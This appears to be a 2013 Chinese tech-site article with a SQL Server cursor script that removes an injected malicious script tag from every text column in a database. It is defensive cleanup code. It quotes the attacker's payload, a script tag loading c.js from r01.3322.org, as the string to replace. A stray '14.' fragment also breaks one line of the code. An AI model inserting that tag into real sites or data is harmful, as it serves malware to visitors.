解析:清除SQL被注入恶意病毒代码的语句

 更新时间:2013年06月27日 15:52:13   作者:  
本篇文章是对清除SQL被注入恶意病毒代码的语句进行了详细的分析介绍,需要的朋友参考下
在SQL查询分析器执行以下代码就可以了。
复制代码 代码如下:

declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for select a.name,b.name
from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype='u' and c.name
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')
declare @str varchar(500),@str2 varchar(500)
set @str='<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></mce:script>'/*要替换的内容*/
set @str2=''
open table_cursor
fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')
fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor

相关文章

  • SQL Server查询语句大全集锦

    SQL Server查询语句大全集锦

    这篇文章主要介绍了SQL Server查询语句大全集锦,需要的朋友可以参考下
    2016-06-06
  • 目前用到的两个分页存储过程代码

    目前用到的两个分页存储过程代码

    前用到的两个分页存储过程,需要的朋友可以参考下。
    2009-09-09
  • SQL语句中的DDL类型的数据库定义语言操作

    SQL语句中的DDL类型的数据库定义语言操作

    这篇文章主要介绍了SQL语句中的DDL类型的数据库定义语言,主要是用来定义数据库中的对象的,例如数据库、表和字段的定义,简单的理解就是DDL语言是来操作数据库、表和字段的,需要的朋友可以参考下
    2022-08-08
  • sqlserver实现树形结构递归查询(无限极分类)的方法

    sqlserver实现树形结构递归查询(无限极分类)的方法

    下面小编就为大家带来一篇sqlserver实现树形结构递归查询(无限极分类)的方法。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-07-07
  • GridView自定义分页的四种存储过程

    GridView自定义分页的四种存储过程

    首先要说说为什么不用GridView的默认的分页功能,GridView控件并非真正知道如何获得一个新页面,它只是请求绑定的数据源控件返回适合规定页面的行,分页最终是由数据源控件完成。
    2009-12-12
  • SQLServer查询历史执行记录的方法实现

    SQLServer查询历史执行记录的方法实现

    有的时候,需要知道近段时间SQLSERVER执行了什么语句,本文主要介绍了SQLServer查询历史执行记录的方法实现,具有一定的参考价值,感兴趣的可以了解一下
    2023-09-09
  • Windows Server2008 R2 MVC 环境安装配置教程

    Windows Server2008 R2 MVC 环境安装配置教程

    这篇文章主要为大家详细介绍了Windows Server2008 R2 MVC 环境安装配置教程,感兴趣的小伙伴们可以参考一下
    2016-09-09
  • Sqlserver 2000/2005/2008 的收缩日志方法和清理日志方法

    Sqlserver 2000/2005/2008 的收缩日志方法和清理日志方法

    讲解一下sql 2005日志怎么清理。一般情况下,SQL数据库的收缩并不能很大程度上减小数据库大小,其主要作用是收缩日志大小,应当定期进行此操作以免数据库日志过大
    2012-07-07
  • SQL Server四个系统表的知识讲解

    SQL Server四个系统表的知识讲解

    今天小编就为大家分享一篇关于SQL Server系统表知识,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
    2019-01-01
  • sqlserver数据库规模膨胀太大怎么优化

    sqlserver数据库规模膨胀太大怎么优化

    数据库规模膨胀是SQLServer数据库运维中常见的问题之一,本文介绍了一些缓解膨胀问题的方法,包括增加内存、数据压缩、数据库分区等,在实践过程中,应根据具体情况,采取适当的方法,以达到最优的缓解膨胀问题的效果
    2024-02-02

最新评论